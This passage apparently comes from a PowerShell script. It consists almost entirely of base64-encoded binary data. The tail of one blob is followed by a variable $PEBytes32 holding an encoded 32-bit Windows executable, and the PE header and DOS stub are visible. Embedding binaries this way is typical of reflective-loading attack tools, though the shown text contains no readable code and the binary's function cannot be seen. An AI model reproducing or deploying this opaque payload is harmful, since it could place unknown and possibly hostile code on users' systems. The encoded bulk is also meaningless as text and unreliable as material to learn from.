EKcYpyCnKKcwpzinQKdIp1CnWKdIqFCoWKioqLioyKjYqOio+KgIqRipKKk4qUipWKloqXipiKmYqaipuKnIqdip6Kn4qQiqADABABgAAAAQpBikIKQopMCsyKzQrNisAEABAPgAAACQqKCosKjAqNCo4KjwqACpEKkgqTCpQKlQqWCpcKmAqZCpoKmwqcCp0KngqfCpAKoQqiCqMKpAqlCqYKpwqoCqkKqgqrCqwKrQquCq8KoAqxCrIKswq0CrUKtgq3CrgKuQq6CrsKvAq9Cr4KvwqwCsEKwgrDCsQKxQrGCscKyArJCsoKywrMCs0KzgrPCsAK0QrSCtMK1ArVCtYK1wrYCtkK2grbCtwK3QreCt8K0ArhCuIK4wrkCuUK5grnCugK6QrqCusK7ArtCu4K7wrgCvEK8grzCvQK9Qr2CvcK+Ar5CvoK+wr8Cv0K/gr/CvAAAAUAEACAIAAACgEKAgoDCgQKBQoGCgcKCAoJCgoKCwoMCg0KDgoPCgAKEQoSChMKFAoVChYKFwoYChkKGgobChwKHQoeCh8KEAohCiIKIwokCiUKJgonCigKKQoqCisKLAotCi4KLwogCjEKMgozCjQKNQo2CjcKOAo5CjoKOwo8Cj0KPgo/CjAKQQpCCkMKRApFCkYKRwpICkkKSgpLCkwKTQpOCk8KQApRClIKUwpUClUKVgpXClgKWQpaClsKXApdCl4KXwpQCmEKYgpjCmQKZQpmCmcKaAppCmoKawpsCm2KbopvimCKcYpyinOKdIp1inaKd4p4inmKeop7inyKfYp+in+KcIqBioKKg4qEioWKhoqHioiKiYqKiouKjIqNio6Kj4qAipGKkoqTipSKlYqWipeKmIqZipqKm4qcip2KnoqfipCKoYqiiqOKpIqliqaKp4qoiqmKqoqriqyKrYquiq+KoIqxirKKs4q0irWKtoq3iriKuYq6iruKvIq9ir6Kv4qwisGKworDisSKxYrGiseKyIrJisqKy4rMis2KzorPisCK0YrSitOK1IrVitaK14rYitmK2orbityK3Yreit+K0IrhiuKK44rkiuWK5orniuiK6YrqiuuK7Irtiu6K74rgivGK8orzivSK9Yr2iveK+Ir5ivqK+4r8iv2K/or/ivAGABAKwAAAAIoBigKKA4oEigWKBooHigiKCYoKiguKDIoNig6KD4oAihGKEooTihSKFYoWiheKGIoZihqKG4ocih2KHoofihCKIYoiiiOKJIoliiaKJ4ooiimKKooriiyKLYouii+KIIoxijKKM4o0ijWKNoo3ijiKOYo6ijuKPIo9ij6KP4owikGKQopDikSKRYpGikeKSIpJikqKS4pMik2KTopPikCKUAAABwAQDMAAAAcKB4oICgiKCQoJigoKCooLCguKDAoMig0KDYoOCg6KDwoPigAKEIoRChGKEgoSihMKE4oUChSKFQoVihYKFooXCheKGAoYihkKGYoaChqKGwobihwKHIodCh2KHgoeih8KH4oQCiCKIQohiiIKIoojCiOKJAokiiUKJYomCiaKJwoniigKKIopCimKKgoqiisKK4osCiyKLQotii4KLoovCi+KIAowijEKMYoyCjKKMwozijQKNIo1CjWKNgo2ijcKN4owCAAQDMAAAA2KLgouii8KL4ogCjCKMQoxijIKMoozCjOKNAo0ijUKNYo2CjaKNwo3ijgKOIo5CjmKOgo6ijsKO4o8CjyKPQo9ij4KPoo/Cj+KMApAikEKQYpCCkKKQwpDikQKRIpFCkWKRgpGikcKR4pICkiKSQpJikoKSopLCkuKTApMik0KTYpOCk6KTwpPikAKUIpRClGKUgpSilMKU4pUClSKVQpVilYKVopXCleKWApYilkKWYpaClqKWwpbilwKXIpdCl2KU4qQDAAQAkAQAAAKAooFCgeKCgoNCgGKNQplimYKZopnCmeKaApoimkKaYpqCmqKawprimwKbIptCm2Kbgpuim8Kb4pgCnCKcQpxinIKcopzCnOKdAp0inUKdYp2CnaKdwp3ingKeIp5CnmKegp7CnuKfAp8in0KfYp+Cn6Kfwp/inAKgIqBCoGKggqCioMKg4qECoSKhQqFioYKhoqHCoeKiAqIiokKiYqKCoqKiwqLiowKjIqNCo2KjgqOio8Kj4qACpCKkQqVipeKmYqbip2KkQqiiqMKo4qkCqiKqQqpiqaKzQrtiu4K7orvCu+K4ArwivEK8YryivMK84r0CvSK9Qr1ivYK9or3CveK+Ir5CvmK+gr6ivsK+4r8CvyK/Qr+Cv8K8A0AEASAAAAKij4KMYpEikgKS4pPikMKVopaCl4KUQpjimYKaIprCm2KYApyinUKd4p6in4KcQqDioYKiAqKioyKjQqNioAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" + [String]$PEBytes32 = "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